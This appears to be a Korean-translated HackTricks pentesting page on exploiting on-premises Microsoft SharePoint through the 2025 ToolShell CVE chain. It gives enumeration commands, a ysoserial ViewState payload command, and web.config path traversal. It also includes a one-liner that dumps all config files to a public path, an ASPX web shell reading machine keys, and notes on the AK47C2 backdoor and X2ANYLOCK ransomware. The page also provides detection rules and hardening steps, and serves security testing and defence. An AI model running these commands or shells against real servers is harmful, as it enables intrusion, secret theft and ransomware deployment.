180 lines
9.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 ToolPane.aspx에서의 코드 주입
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>`는 페이지에 임의의 *Server-Side Include* 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 `Process.Start()`를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.
### 2.2 CVE-2025-49706 부적절한 인증 우회
같은 페이지는 사이트 컨텍스트를 결정하기 위해 **X-Forms_BaseUrl** 헤더를 신뢰합니다. 이를 `/_layouts/15/`로 지정함으로써, 루트 사이트에서 강제되는 MFA/SSO를 **인증되지 않은 상태**로 우회할 수 있습니다.
### 2.3 CVE-2025-53770 인증되지 않은 ViewState 역직렬화 → RCE
공격자가 `ToolPane.aspx`에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 **서명되지 않은** (또는 MAC 전용) `__VIEWSTATE` 값을 게시할 수 있으며, 이는 *w3wp.exe* 내에서 코드 실행으로 이어집니다.
서명이 활성화된 경우, 임의의 `web.config`에서 **ValidationKey/DecryptionKey**를 훔치고 *ysoserial.net* 또는 *ysodom*을 사용하여 페이로드를 위조하십시오.
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
For an in-depth explanation on abusing ASP.NET ViewState read:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 경로 탐색 / web.config 노출
`ToolPane.aspx`에 조작된 `Source` 매개변수(예: `../../../../web.config`)를 전송하면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH 쿠키 위조
* 연결 문자열 및 비밀.
## 3. 실제에서 관찰된 포스트 익스플로잇 레시피
### 3.1 모든 *.config* 파일 외부 유출 (변형-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
결과적으로 생성된 `debug_dev.js`는 익명으로 다운로드할 수 있으며 **모든** 민감한 구성을 포함합니다.
### 3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)
```
powershell.exe -EncodedCommand <base64>
```
디코딩된 페이로드 예시 (축약됨):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
작성 대상:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
쉘은 **기계 키를 읽고 회전하는** 엔드포인트를 노출하여 농장 전역에서 ViewState 및 ASPXAUTH 쿠키를 위조할 수 있게 합니다.
### 3.3 난독화된 변형 (variation-3)
같은 쉘이지만:
* `...\15\TEMPLATE\LAYOUTS\` 아래에 배치됨
* 변수 이름이 단일 문자로 축소됨
* 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 `Thread.Sleep(<ms>)`가 추가됨.
### 3.4 AK47C2 다중 프로토콜 백도어 및 X2ANYLOCK 랜섬웨어 (2025-2026 관찰됨)
최근 사건 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE **후에** ToolShell 체인을 활용하여 SharePoint 환경에 이중 채널 C2 임플란트와 랜섬웨어를 배포하는 방법을 보여줍니다:
#### AK47C2 `dnsclient` 변형
* 하드코딩된 DNS 서버: `10.7.66.10`이 권한 있는 도메인 `update.updatemicfosoft.com`과 통신.
* 메시지는 정적 키 `VHBD@H`로 XOR 암호화된 JSON 객체이며, 16진수로 인코딩되어 **서브 도메인 레이블**로 포함됨.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* 긴 쿼리는 청크로 나뉘고 `s`로 접두사가 붙은 후 서버 측에서 재조립됨.
* 서버는 동일한 XOR/16진수 스킴을 가진 TXT 레코드로 응답:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* 버전 202504는 `<COMMAND>::<SESSION_KEY>` 및 청크 마커 `1`, `2`, `a`의 단순화된 형식을 도입함.
#### AK47C2 `httpclient` 변형
* 동일한 JSON 및 XOR 루틴을 재사용하지만 **HTTP POST 본문**에 16진수 블롭을 `libcurl`(`CURLOPT_POSTFIELDS` 등)을 통해 전송.
* 임의의 쉘 명령 실행을 허용하는 동일한 작업/결과 워크플로우:
* 동적 대기 간격 및 킬 스위치 지침.
#### X2ANYLOCK 랜섬웨어
* DLL 사이드 로딩을 통해 로드된 64비트 C++ 페이로드(아래 참조).
* 파일 데이터에 AES-CBC를 사용하고 AES 키를 래핑하기 위해 RSA-2048을 사용한 후 확장자 `.x2anylock`을 추가.
* 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화하며, 시스템 경로는 건너뜀.
* 협상을 위한 정적 **Tox ID**를 포함한 평문 노트 `How to decrypt my data.txt`를 드롭.
* 내부 **킬 스위치** 포함:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### DLL 사이드 로딩 체인
1. 공격자가 합법적인 `7z.exe` 옆에 `dllhijacked.dll`/`My7zdllhijacked.dll`를 작성.
2. SharePoint에서 생성된 `w3wp.exe``7z.exe`를 실행하고, Windows 검색 순서로 인해 악성 DLL을 로드하여 메모리에서 랜섬웨어 진입점을 호출.
3. 별도의 LockBit 로더가 관찰됨 (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`)이 쉘 코드를 복호화하고 `d3dl1.dll`에 **DLL 할로잉**을 수행하여 LockBit 3.0을 실행.
> [!INFO]
> X2ANYLOCK에서 발견된 동일한 정적 Tox ID가 유출된 LockBit 데이터베이스에 나타나며, 제휴 중복을 시사함.
---
## 4. 탐지 아이디어
| 텔레메트리 | 의심스러운 이유 |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | 작업 프로세스가 쉘을 생성하는 경우는 드물어야 함 |
| `cmd.exe → powershell.exe -EncodedCommand` | 고전적인 lolbin 패턴 |
| `debug_dev.js` 또는 `spinstall0.aspx` 파일 이벤트 생성 | ToolShell에서 직접 가져온 IOC |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/모듈 로그) | 공개 PoC가 이 페이지를 호출함 |
예시 XDR / Sysmon 규칙 (의사-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. 강화 및 완화
1. **패치** 2025년 7월 보안 업데이트가 *모든* 네 개의 CVE를 수정합니다.
2. **회전** 침해 후 모든 `<machineKey>``ViewState` 비밀을 변경합니다.
3. `WSS_WPG``WSS_ADMIN_WPG` 그룹에서 *LAYOUTS* 쓰기 권한을 제거합니다.
4. 프록시/WAF 수준에서 `/_layouts/15/ToolPane.aspx`에 대한 외부 접근을 차단합니다.
5. **ViewStateUserKey**, **MAC 활성화**, 및 사용자 정의 *EventValidation*을 활성화합니다.
## 관련 트릭
* IIS 사후 활용 및 web.config 남용:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## 참고 문헌
- [Unit42 Microsoft SharePoint 취약점의 능동적 악용](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell 익스플로잇 체인](https://github.com/real-or-not/ToolShell)
- [Microsoft 보안 권고 CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 Project AK47 / SharePoint 악용 및 랜섬웨어 활동](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft 보안 권고 CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}